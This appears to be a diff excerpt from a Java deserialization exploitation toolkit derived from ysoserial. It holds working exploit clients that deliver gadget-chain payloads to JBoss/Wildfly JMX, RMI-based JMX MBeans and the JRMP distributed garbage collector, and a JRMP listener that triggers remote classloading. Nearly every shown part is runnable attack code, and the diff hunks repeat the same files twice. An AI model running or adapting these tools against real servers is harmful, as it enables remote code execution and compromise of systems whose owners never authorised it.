public ConnectionHandlerContextImpl(ConnectionProviderContextImpl context) {
|
||||
this.context = context;
|
||||
}
|
||||
|
||||
|
||||
public void remoteClosed() {
|
||||
}
|
||||
|
||||
|
||||
public OpenListener getServiceOpenListener(String serviceType) {
|
||||
return null;
|
||||
}
|
||||
|
||||
|
||||
public RegisteredService getRegisteredService(String serviceType) {
|
||||
return null;
|
||||
}
|
||||
|
||||
|
||||
public ConnectionProviderContext getConnectionProviderContext() {
|
||||
return this.context;
|
||||
}
|
||||
|
||||
|
||||
public Connection getConnection() {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
private static final class ConnectionProviderContextImpl implements ConnectionProviderContext {
|
||||
|
||||
private final XnioWorker worker;
|
||||
|
||||
private final ExecutorService executor;
|
||||
|
||||
private final Xnio instance;
|
||||
|
||||
private final Endpoint endpoint;
|
||||
|
||||
|
||||
public ConnectionProviderContextImpl(OptionMap opts, String endpointName) throws IllegalArgumentException, IOException {
|
||||
this.instance = Xnio.getInstance();
|
||||
|
||||
this.worker = this.instance.createWorker(opts);
|
||||
this.endpoint = Remoting.createEndpoint(endpointName, this.worker, opts);
|
||||
this.executor = Executors.newCachedThreadPool(r -> {
|
||||
Thread t = new Thread(r, "Worker");
|
||||
t.setDaemon(true);
|
||||
return t;
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
public XnioWorker getXnioWorker() {
|
||||
return this.worker;
|
||||
}
|
||||
|
||||
|
||||
public Xnio getXnio() {
|
||||
return this.instance;
|
||||
}
|
||||
|
||||
|
||||
public Executor getExecutor() {
|
||||
return this.executor;
|
||||
}
|
||||
|
||||
|
||||
public Endpoint getEndpoint() {
|
||||
return this.endpoint;
|
||||
}
|
||||
|
||||
|
||||
public void accept(ConnectionHandlerFactory connectionHandlerFactory) {
|
||||
System.err.println("accept");
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
package com.qi4l.JYso.exploit;
|
||||
|
||||
import com.qi4l.JYso.gadgets.Config.ysoserial;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.jboss.remoting3.*;
|
||||
import org.jboss.remoting3.Connection;
|
||||
import org.jboss.remoting3.remote.HttpUpgradeConnectionProviderFactory;
|
||||
import org.jboss.remoting3.spi.*;
|
||||
import org.jboss.remotingjmx.VersionedConnection;
|
||||
import org.xnio.*;
|
||||
import org.xnio.IoFuture.Status;
|
||||
import org.xnio.ssl.JsseXnioSsl;
|
||||
import org.xnio.ssl.XnioSsl;
|
||||
|
||||
import javax.management.*;
|
||||
import javax.management.remote.JMXServiceURL;
|
||||
import javax.security.auth.callback.*;
|
||||
import javax.security.sasl.RealmCallback;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.InetSocketAddress;
|
||||
import java.net.MalformedURLException;
|
||||
import java.net.SocketAddress;
|
||||
import java.net.URI;
|
||||
import java.security.KeyManagementException;
|
||||
import java.security.NoSuchAlgorithmException;
|
||||
import java.security.NoSuchProviderException;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.concurrent.*;
|
||||
import java.util.logging.*;
|
||||
|
||||
|
||||
/**
|
||||
* An exploitation client for JBoss AS/Wildfly JMX
|
||||
* <p>
|
||||
* JBoss is using a custom tunneled protocol for JMX, this is a client for this protocol.
|
||||
* <p>
|
||||
* This is not as readily exploitable as in other pieces of software:
|
||||
* 1. they only allow authenticated access by default
|
||||
* 2. they have a very strict module architecture:
|
||||
* - all MBeans exported by default use classloaders that expose almost nothing useful
|
||||
* - the module classloaders do not even expose the full boot classpath, so we cannot readily use stuff like
|
||||
* com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
|
||||
* <p>
|
||||
* This client enumerates all application exported MBean method which are then called
|
||||
* delivering the specified payload.
|
||||
* <p>
|
||||
* I.e. you can successfully exploit that
|
||||
* - you have access to the interface
|
||||
* (username/password can be specified via URL, note: despite not noticeable,
|
||||
* local connections implicitly use authentication)
|
||||
* - there is an application exported MBean
|
||||
* - that application imports the classes required for the gadget chain
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
@SuppressWarnings({
|
||||
"rawtypes"
|
||||
})
|
||||
public class JBoss {
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
|
||||
if (args.length < 5) {
|
||||
System.err.println("Usage " + JBoss.class.getName() + " <uri> <args...> ");
|
||||
System.exit(-1);
|
||||
}
|
||||
|
||||
URI u = URI.create(args[0]);
|
||||
|
||||
// 去除前一个参数
|
||||
String[] newArray = new String[args.length - 1];
|
||||
System.arraycopy(args, 1, newArray, 0, newArray.length);
|
||||
|
||||
ysoserial.run(newArray);
|
||||
Object payloadObject = ysoserial.PAYLOAD;
|
||||
|
||||
String username = null;
|
||||
String password = null;
|
||||
if (u.getUserInfo() != null) {
|
||||
int sep = u.getUserInfo().indexOf(':');
|
||||
if (sep >= 0) {
|
||||
username = u.getUserInfo().substring(0, sep);
|
||||
password = u.getUserInfo().substring(sep + 1);
|
||||
} else {
|
||||
System.err.println("Need <user>:<password>@");
|
||||
System.exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
doRun(u, payloadObject, username, password);
|
||||
}
|
||||
|
||||
|
||||
private static void doRun(URI u, final Object payloadObject, String username, String password) {
|
||||
ConnectionProvider instance = null;
|
||||
ConnectionProviderContextImpl context = null;
|
||||
ConnectionHandler ch = null;
|
||||
Channel c = null;
|
||||
VersionedConnection vc = null;
|
||||
try {
|
||||
Logger logger = LogManager.getLogManager().getLogger("");
|
||||
logger.addHandler(new ConsoleLogHandler());
|
||||
logger.setLevel(Level.INFO);
|
||||
OptionMap options = OptionMap.builder().set(Options.SSL_ENABLED, u.getScheme().equals("https")).getMap();
|
||||
context = new ConnectionProviderContextImpl(options, "endpoint");
|
||||
instance = new HttpUpgradeConnectionProviderFactory().createInstance(context, options);
|
||||
String host = u.getHost();
|
||||
int port = u.getPort() > 0 ? u.getPort() : 9990;
|
||||
SocketAddress destination = new InetSocketAddress(host, port);
|
||||
ConnectionHandlerFactory chf = getConnection(destination, username, password, context, instance, options);
|
||||
ch = chf.createInstance(new ConnectionHandlerContextImpl(context));
|
||||
c = getChannel(context, ch, options);
|
||||
System.err.println("Connected");
|
||||
vc = makeVersionedConnection(c);
|
||||
MBeanServerConnection mbc = vc.getMBeanServerConnection(null);
|
||||
doExploit(payloadObject, mbc);
|
||||
System.err.println("DONE");
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace(System.err);
|
||||
} finally {
|
||||
cleanup(instance, context, ch, c, vc);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
private static void cleanup(ConnectionProvider instance, ConnectionProviderContextImpl context, ConnectionHandler ch, Channel c,
|
||||
VersionedConnection vc) {
|
||||
if (vc != null) {
|
||||
vc.close();
|
||||
}
|
||||
|
||||
if (c != null) {
|
||||
try {
|
||||
c.close();
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
|
||||
if (ch != null) {
|
||||
try {
|
||||
ch.close();
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
if (instance != null) {
|
||||
try {
|
||||
instance.close();
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
|
||||
if (context != null) {
|
||||
context.getXnioWorker().shutdown();
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
private static ConnectionHandlerFactory getConnection(SocketAddress destination, final String username, final String password,
|
||||
ConnectionProviderContextImpl context, ConnectionProvider instance, OptionMap options)
|
||||
throws IOException, InterruptedException, KeyManagementException, NoSuchProviderException, NoSuchAlgorithmException {
|
||||
XnioSsl xnioSsl = new JsseXnioSsl(context.getXnio(), options);
|
||||
FutureResult<ConnectionHandlerFactory> result = new FutureResult<>();
|
||||
instance.connect(null, destination, options, result, callbacks -> {
|
||||
|
||||
for (Callback cb : callbacks) {
|
||||
|
||||
if (cb instanceof NameCallback) {
|
||||
((NameCallback) cb).setName(username);
|
||||
} else if (cb instanceof PasswordCallback) {
|
||||
((PasswordCallback) cb).setPassword(password != null ? password.toCharArray() : new char[0]);
|
||||
} else if (!(cb instanceof RealmCallback)) {
|
||||
System.err.println(cb);
|
||||
throw new UnsupportedCallbackException(cb);
|
||||
}
|
||||
}
|
||||
}, xnioSsl);
|
||||
|
||||
System.err.println("waiting for connection");
|
||||
IoFuture<ConnectionHandlerFactory> ioFuture = result.getIoFuture();
|
||||
Status s = ioFuture.await(5, TimeUnit.SECONDS);
|
||||
if (s == Status.FAILED) {
|
||||
System.err.println("Cannot connect");
|
||||
if (ioFuture.getException() != null) {
|
||||
ioFuture.getException().printStackTrace(System.err);
|
||||
}
|
||||
} else if (s != Status.DONE) {
|
||||
ioFuture.cancel();
|
||||
System.err.println("Connect timeout");
|
||||
System.exit(-1);
|
||||
}
|
||||
|
||||
return ioFuture.getInterruptibly();
|
||||
}
|
||||
|
||||
private static Channel getChannel(ConnectionProviderContextImpl context, ConnectionHandler ch, OptionMap options) throws IOException {
|
||||
Channel c;
|
||||
FutureResult<Channel> chResult = new FutureResult<>(context.getExecutor());
|
||||
ch.open("jmx", chResult, options);
|
||||
|
||||
IoFuture<Channel> cFuture = chResult.getIoFuture();
|
||||
Status s2 = cFuture.await();
|
||||
if (s2 == Status.FAILED) {
|
||||
System.err.println("Cannot connect");
|
||||
if (cFuture.getException() != null) {
|
||||
throw new IOException("Connect failed", cFuture.getException());
|
||||
}
|
||||
} else if (s2 != Status.DONE) {
|
||||
cFuture.cancel();
|
||||
throw new IOException("Connect timeout");
|
||||
}
|
||||
|
||||
c = cFuture.get();
|
||||
return c;
|
||||
}
|
||||
|
||||
|
||||
private static VersionedConnection makeVersionedConnection(Channel c)
|
||||
throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, MalformedURLException {
|
||||
VersionedConnection vc;
|
||||
Class<?> vcf = Class.forName("org.jboss.remotingjmx.VersionedConectionFactory");
|
||||
Method vcCreate = vcf.getDeclaredMethod("createVersionedConnection", Channel.class, Map.class, JMXServiceURL.class);
|
||||
Reflections.setAccessible(vcCreate);
|
||||
vc = (VersionedConnection) vcCreate.invoke(null, c, new HashMap(), new JMXServiceURL("service:jmx:remoting-jmx://"));
|
||||
return vc;
|
||||
}
|
||||
|
||||
|
||||
private static void doExploit(final Object payloadObject, MBeanServerConnection mbc)
|
||||
throws IOException, InstanceNotFoundException, IntrospectionException, ReflectionException {
|
||||
Object[] params = new Object[1];
|
||||
params[0] = payloadObject;
|
||||
System.err.println("Querying MBeans");
|
||||
Set<ObjectInstance> testMBeans = mbc.queryMBeans(null, null);
|
||||
System.err.println("Found " + testMBeans.size() + " MBeans");
|
||||
for (ObjectInstance oi : testMBeans) {
|
||||
MBeanInfo mBeanInfo = mbc.getMBeanInfo(oi.getObjectName());
|
||||
for (MBeanOperationInfo opInfo : mBeanInfo.getOperations()) {
|
||||
try {
|
||||
mbc.invoke(oi.getObjectName(), opInfo.getName(), params, new String[]{});
|
||||
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS");
|
||||
return;
|
||||
} catch (Throwable e) {
|
||||
String msg = e.getMessage();
|
||||
if (msg.startsWith("java.lang.ClassNotFoundException:")) {
|
||||
int start = msg.indexOf('"');
|
||||
int stop = msg.indexOf('"', start + 1);
|
||||
String module = (start >= 0 && stop > 0) ? msg.substring(start + 1, stop) : "<unknown>";
|
||||
if (!"<unknown>".equals(module) && !"org.jboss.as.jmx:main".equals(module)) {
|
||||
int c_start = msg.indexOf(':');
|
||||
int c_end = msg.indexOf(' ', c_start + 2);
|
||||
String cls = msg.substring(c_start + 2, c_end);
|
||||
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL " + cls + " (" + module + ")");
|
||||
}
|
||||
} else {
|
||||
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS|ERROR " + msg);
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
private static final class ConsoleLogHandler extends Handler {
|
||||
|
||||
|
||||
@Override
|
||||
public void publish(LogRecord record) {
|
||||
System.err.println(record.getMessage());
|
||||
}
|
||||
|
||||
|
||||
@Override
|
||||
public void flush() {
|
||||
|
||||
}
|
||||
|
||||
|
||||
@Override
|
||||
public void close() throws SecurityException {
|
||||
}
|
||||
}
|
||||
|
||||
private static final class ConnectionHandlerContextImpl implements ConnectionHandlerContext {
|
||||
|
||||
private final ConnectionProviderContextImpl context;
|
||||
|
||||
|
||||
public ConnectionHandlerContextImpl(ConnectionProviderContextImpl context) {
|
||||
this.context = context;
|
||||
}
|
||||
|
||||
|
||||
public void remoteClosed() {
|
||||
}
|
||||
|
||||
|
||||
public OpenListener getServiceOpenListener(String serviceType) {
|
||||
return null;
|
||||
}
|
||||
|
||||
|
||||
public RegisteredService getRegisteredService(String serviceType) {
|
||||
return null;
|
||||
}
|
||||
|
||||
|
||||
public ConnectionProviderContext getConnectionProviderContext() {
|
||||
return this.context;
|
||||
}
|
||||
|
||||
|
||||
public Connection getConnection() {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
private static final class ConnectionProviderContextImpl implements ConnectionProviderContext {
|
||||
|
||||
private final XnioWorker worker;
|
||||
|
||||
private final ExecutorService executor;
|
||||
|
||||
private final Xnio instance;
|
||||
|
||||
private final Endpoint endpoint;
|
||||
|
||||
|
||||
public ConnectionProviderContextImpl(OptionMap opts, String endpointName) throws IllegalArgumentException, IOException {
|
||||
this.instance = Xnio.getInstance();
|
||||
|
||||
this.worker = this.instance.createWorker(opts);
|
||||
this.endpoint = Remoting.createEndpoint(endpointName, this.worker, opts);
|
||||
this.executor = Executors.newCachedThreadPool(r -> {
|
||||
Thread t = new Thread(r, "Worker");
|
||||
t.setDaemon(true);
|
||||
return t;
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
public XnioWorker getXnioWorker() {
|
||||
return this.worker;
|
||||
}
|
||||
|
||||
|
||||
public Xnio getXnio() {
|
||||
return this.instance;
|
||||
}
|
||||
|
||||
|
||||
public Executor getExecutor() {
|
||||
return this.executor;
|
||||
}
|
||||
|
||||
|
||||
public Endpoint getEndpoint() {
|
||||
return this.endpoint;
|
||||
}
|
||||
|
||||
|
||||
public void accept(ConnectionHandlerFactory connectionHandlerFactory) {
|
||||
System.err.println("accept");
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -1,43 +1,43 @@
|
||||
package com.qi4l.JYso.exploit;
|
||||
|
||||
import com.qi4l.JYso.gadgets.Config.ysoserial;
|
||||
|
||||
import javax.management.MBeanServerConnection;
|
||||
import javax.management.ObjectName;
|
||||
import javax.management.remote.JMXConnector;
|
||||
import javax.management.remote.JMXConnectorFactory;
|
||||
import javax.management.remote.JMXServiceURL;
|
||||
|
||||
/**
|
||||
* Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader.
|
||||
* Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument.
|
||||
*/
|
||||
public class JMXInvokeMBean {
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
|
||||
if (args.length < 6) {
|
||||
System.err.println(JMXInvokeMBean.class.getName() + " <host> <port> <arg...>");
|
||||
System.exit(-1);
|
||||
}
|
||||
|
||||
JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi");
|
||||
|
||||
JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
|
||||
MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();
|
||||
|
||||
// 去除前两个参数
|
||||
String[] newArray = new String[args.length - 2];
|
||||
System.arraycopy(args, 2, newArray, 0, newArray.length);
|
||||
|
||||
ysoserial.run(newArray);
|
||||
Object payloadObject = ysoserial.PAYLOAD;
|
||||
|
||||
ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");
|
||||
|
||||
mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()});
|
||||
|
||||
//close the connection
|
||||
jmxConnector.close();
|
||||
}
|
||||
}
|
||||
package com.qi4l.JYso.exploit;
|
||||
|
||||
import com.qi4l.JYso.gadgets.Config.ysoserial;
|
||||
|
||||
import javax.management.MBeanServerConnection;
|
||||
import javax.management.ObjectName;
|
||||
import javax.management.remote.JMXConnector;
|
||||
import javax.management.remote.JMXConnectorFactory;
|
||||
import javax.management.remote.JMXServiceURL;
|
||||
|
||||
/**
|
||||
* Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader.
|
||||
* Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument.
|
||||
*/
|
||||
public class JMXInvokeMBean {
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
|
||||
if (args.length < 6) {
|
||||
System.err.println(JMXInvokeMBean.class.getName() + " <host> <port> <arg...>");
|
||||
System.exit(-1);
|
||||
}
|
||||
|
||||
JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi");
|
||||
|
||||
JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
|
||||
MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();
|
||||
|
||||
// 去除前两个参数
|
||||
String[] newArray = new String[args.length - 2];
|
||||
System.arraycopy(args, 2, newArray, 0, newArray.length);
|
||||
|
||||
ysoserial.run(newArray);
|
||||
Object payloadObject = ysoserial.PAYLOAD;
|
||||
|
||||
ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");
|
||||
|
||||
mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()});
|
||||
|
||||
//close the connection
|
||||
jmxConnector.close();
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,48 +1,48 @@
|
||||
package com.qi4l.JYso.exploit;
|
||||
|
||||
import com.qi4l.JYso.gadgets.JRMPClient;
|
||||
|
||||
import java.net.URL;
|
||||
|
||||
|
||||
/**
|
||||
* JRMP listener triggering RMI remote classloading
|
||||
* <p>
|
||||
* Opens up an JRMP listener that will deliver a remote classpath class to the calling client.
|
||||
* <p>
|
||||
* Mostly CVE-2013-1537 (presumably, does not state details) with the difference that you don't need
|
||||
* access to an RMI socket when you can deliver {@link JRMPClient}.
|
||||
* <p>
|
||||
* This only works if
|
||||
* - the remote end is running with a security manager
|
||||
* - java.rmi.server.useCodebaseOnly=false (default until 7u21)
|
||||
* - the remote has the proper permissions to remotely load the class (mostly URLPermission)
|
||||
* <p>
|
||||
* and, of course, the payload class is then run under the security manager with a remote codebase
|
||||
* so either the policy needs to allow whatever you want to do in the payload or you need to combine
|
||||
* with a security manager bypass exploit (wouldn't be the first time).
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
public class JRMPClassLoadingListener {
|
||||
|
||||
public static void main(final String[] args) {
|
||||
|
||||
if (args.length < 3) {
|
||||
System.err.println(JRMPClassLoadingListener.class.getName() + " <port> <url> <className>");
|
||||
System.exit(-1);
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
int port = Integer.parseInt(args[0]);
|
||||
System.err.println("* Opening JRMP listener on " + port);
|
||||
JRMPListener c = new JRMPListener(port, args[2], new URL(args[1]));
|
||||
c.run();
|
||||
} catch (Exception e) {
|
||||
System.err.println("Listener error");
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
package com.qi4l.JYso.exploit;
|
||||
|
||||
import com.qi4l.JYso.gadgets.JRMPClient;
|
||||
|
||||
import java.net.URL;
|
||||
|
||||
|
||||
/**
|
||||
* JRMP listener triggering RMI remote classloading
|
||||
* <p>
|
||||
* Opens up an JRMP listener that will deliver a remote classpath class to the calling client.
|
||||
* <p>
|
||||
* Mostly CVE-2013-1537 (presumably, does not state details) with the difference that you don't need
|
||||
* access to an RMI socket when you can deliver {@link JRMPClient}.
|
||||
* <p>
|
||||
* This only works if
|
||||
* - the remote end is running with a security manager
|
||||
* - java.rmi.server.useCodebaseOnly=false (default until 7u21)
|
||||
* - the remote has the proper permissions to remotely load the class (mostly URLPermission)
|
||||
* <p>
|
||||
* and, of course, the payload class is then run under the security manager with a remote codebase
|
||||
* so either the policy needs to allow whatever you want to do in the payload or you need to combine
|
||||
* with a security manager bypass exploit (wouldn't be the first time).
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
public class JRMPClassLoadingListener {
|
||||
|
||||
public static void main(final String[] args) {
|
||||
|
||||
if (args.length < 3) {
|
||||
System.err.println(JRMPClassLoadingListener.class.getName() + " <port> <url> <className>");
|
||||
System.exit(-1);
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
int port = Integer.parseInt(args[0]);
|
||||
System.err.println("* Opening JRMP listener on " + port);
|
||||
JRMPListener c = new JRMPListener(port, args[2], new URL(args[1]));
|
||||
c.run();
|
||||
} catch (Exception e) {
|
||||
System.err.println("Listener error");
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -1,132 +1,132 @@
|
||||
package com.qi4l.JYso.exploit;
|
||||
|
||||
import com.qi4l.JYso.gadgets.Config.ysoserial;
|
||||
import sun.rmi.transport.TransportConstants;
|
||||
|
||||
import javax.net.SocketFactory;
|
||||
import java.io.DataOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.ObjectOutputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.net.*;
|
||||
|
||||
/**
|
||||
* Generic JRMP client
|
||||
* <p>
|
||||
* Pretty much the same thing as {@link RMIBindExploit} but
|
||||
* - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener)
|
||||
* - not deserializing anything (so you don't get yourself exploited ;))
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
@SuppressWarnings({
|
||||
"restriction"
|
||||
})
|
||||
public class JRMPClient {
|
||||
|
||||
public static void main(final String[] args) throws Exception {
|
||||
if (args.length < 5) {
|
||||
System.err.println(JRMPClient.class.getName() + " <host> <port> <args...>");
|
||||
System.exit(-1);
|
||||
}
|
||||
|
||||
String hostname = args[0];
|
||||
int port = Integer.parseInt(args[1]);
|
||||
|
||||
// 去除前两个参数
|
||||
String[] newArray = new String[args.length - 2];
|
||||
System.arraycopy(args, 2, newArray, 0, newArray.length);
|
||||
|
||||
ysoserial.run(newArray);
|
||||
Object payloadObject = ysoserial.PAYLOAD;
|
||||
|
||||
try {
|
||||
System.err.printf("* Opening JRMP socket %s:%d%n", hostname, port);
|
||||
makeDGCCall(hostname, port, payloadObject);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
|
||||
public static void makeDGCCall(String hostname, int port, Object payloadObject) throws IOException {
|
||||
Socket s = null;
|
||||
DataOutputStream dos = null;
|
||||
try {
|
||||
s = SocketFactory.getDefault().createSocket(hostname, port);
|
||||
s.setKeepAlive(true);
|
||||
s.setTcpNoDelay(true);
|
||||
|
||||
OutputStream os = s.getOutputStream();
|
||||
dos = new DataOutputStream(os);
|
||||
|
||||
dos.writeInt(TransportConstants.Magic);
|
||||
dos.writeShort(TransportConstants.Version);
|
||||
dos.writeByte(TransportConstants.SingleOpProtocol);
|
||||
|
||||
dos.write(TransportConstants.Call);
|
||||
|
||||
final ObjectOutputStream objOut = new MarshalOutputStream(dos);
|
||||
|
||||
objOut.writeLong(2); // DGC
|
||||
objOut.writeInt(0);
|
||||
objOut.writeLong(0);
|
||||
objOut.writeShort(0);
|
||||
|
||||
objOut.writeInt(1); // dirty
|
||||
objOut.writeLong(-669196253586618813L);
|
||||
|
||||
objOut.writeObject(payloadObject);
|
||||
|
||||
os.flush();
|
||||
} finally {
|
||||
if (dos != null) {
|
||||
dos.close();
|
||||
}
|
||||
if (s != null) {
|
||||
s.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static final class MarshalOutputStream extends ObjectOutputStream {
|
||||
|
||||
|
||||
private URL sendUrl;
|
||||
|
||||
public MarshalOutputStream(OutputStream out, URL u) throws IOException {
|
||||
super(out);
|
||||
this.sendUrl = u;
|
||||
}
|
||||
|
||||
MarshalOutputStream(OutputStream out) throws IOException {
|
||||
super(out);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void annotateClass(Class<?> cl) throws IOException {
|
||||
if (this.sendUrl != null) {
|
||||
writeObject(this.sendUrl.toString());
|
||||
} else if (!(cl.getClassLoader() instanceof URLClassLoader)) {
|
||||
writeObject(null);
|
||||
} else {
|
||||
URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs();
|
||||
StringBuilder cb = new StringBuilder();
|
||||
|
||||
for (URL u : us) {
|
||||
cb.append(u.toString());
|
||||
}
|
||||
writeObject(cb.toString());
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* Serializes a location from which to load the specified class.
|
||||
*/
|
||||
@Override
|
||||
protected void annotateProxyClass(Class<?> cl) throws IOException {
|
||||
annotateClass(cl);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
package com.qi4l.JYso.exploit;
|
||||
|
||||
import com.qi4l.JYso.gadgets.Config.ysoserial;
|
||||
import sun.rmi.transport.TransportConstants;
|
||||
|
||||
import javax.net.SocketFactory;
|
||||
import java.io.DataOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.ObjectOutputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.net.*;
|
||||
|
||||
/**
|
||||
* Generic JRMP client
|
||||
* <p>
|
||||
* Pretty much the same thing as {@link RMIBindExploit} but
|
||||
* - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener)
|
||||
* - not deserializing anything (so you don't get yourself exploited ;))
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
@SuppressWarnings({
|
||||
"restriction"
|
||||
})
|
||||
public class JRMPClient {
|
||||
|
||||
public static void main(final String[] args) throws Exception {
|
||||
if (args.length < 5) {
|
||||
System.err.println(JRMPClient.class.getName() + " <host> <port> <args...>");
|
||||
System.exit(-1);
|
||||
}
|
||||
|
||||
String hostname = args[0];
|
||||
int port = Integer.parseInt(args[1]);
|
||||
|
||||
// 去除前两个参数
|
||||
String[] newArray = new String[args.length - 2];
|
||||
System.arraycopy(args, 2, newArray, 0, newArray.length);
|
||||
|
||||
ysoserial.run(newArray);
|
||||
Object payloadObject = ysoserial.PAYLOAD;
|
||||
|
||||
try {
|
||||
System.err.printf("* Opening JRMP socket %s:%d%n", hostname, port);
|
||||
makeDGCCall(hostname, port, payloadObject);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
|
||||
public static void makeDGCCall(String hostname, int port, Object payloadObject) throws IOException {
|
||||
Socket s = null;
|
||||
DataOutputStream dos = null;
|
||||
try {
|
||||
s = SocketFactory.getDefault().createSocket(hostname, port);
|
||||
s.setKeepAlive(true);
|
||||
s.setTcpNoDelay(true);
|
||||
|
||||
OutputStream os = s.getOutputStream();
|
||||
dos = new DataOutputStream(os);
|
||||
|
||||
dos.writeInt(TransportConstants.Magic);
|
||||
dos.writeShort(TransportConstants.Version);
|
||||
dos.writeByte(TransportConstants.SingleOpProtocol);
|
||||
|
||||
dos.write(TransportConstants.Call);
|
||||
|
||||
final ObjectOutputStream objOut = new MarshalOutputStream(dos);
|
||||
|
||||
objOut.writeLong(2); // DGC
|
||||
objOut.writeInt(0);
|
||||
objOut.writeLong(0);
|
||||
objOut.writeShort(0);
|
||||
|
||||
objOut.writeInt(1); // dirty
|
||||
objOut.writeLong(-669196253586618813L);
|
||||
|
||||
objOut.writeObject(payloadObject);
|
||||
|
||||
os.flush();
|
||||
} finally {
|
||||
if (dos != null) {
|
||||
dos.close();
|
||||
}
|
||||
if (s != null) {
|
||||
s.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static final class MarshalOutputStream extends ObjectOutputStream {
|
||||
|
||||
|
||||
private URL sendUrl;
|
||||
|
||||
public MarshalOutputStream(OutputStream out, URL u) throws IOException {
|
||||
super(out);
|
||||
this.sendUrl = u;
|
||||
}
|
||||
|
||||
MarshalOutputStream(OutputStream out) throws IOException {
|
||||
super(out);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void annotateClass(Class<?> cl) throws IOException {
|
||||
if (this.sendUrl != null) {
|
||||
writeObject(this.sendUrl.toString());
|
||||
} else if (!(cl.getClassLoader() instanceof URLClassLoader)) {
|
||||
writeObject(null);
|
||||
} else {
|
||||
URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs();
|
||||
StringBuilder cb = new StringBuilder();
|
||||
|
||||
for (URL u : us) {
|
||||
cb.append(u.toString());
|
||||
}
|
||||
writeObject(cb.toString());
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* Serializes a location from which to load the specified class.
|
||||
*/
|
||||
@Override
|
||||
protected void annotateProxyClass(Class<?> cl) throws IOException {
|
||||
annotateClass(cl);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -1,289 +1,289 @@
|
||||
package com.qi4l.JYso.exploit;
|
||||
|
||||
import com.qi4l.JYso.gadgets.Config.ysoserial;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import javassist.ClassClassPath;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import org.apache.logging.log4j.Logger;
|
||||
import org.apache.logging.log4j.LogManager;
|
||||
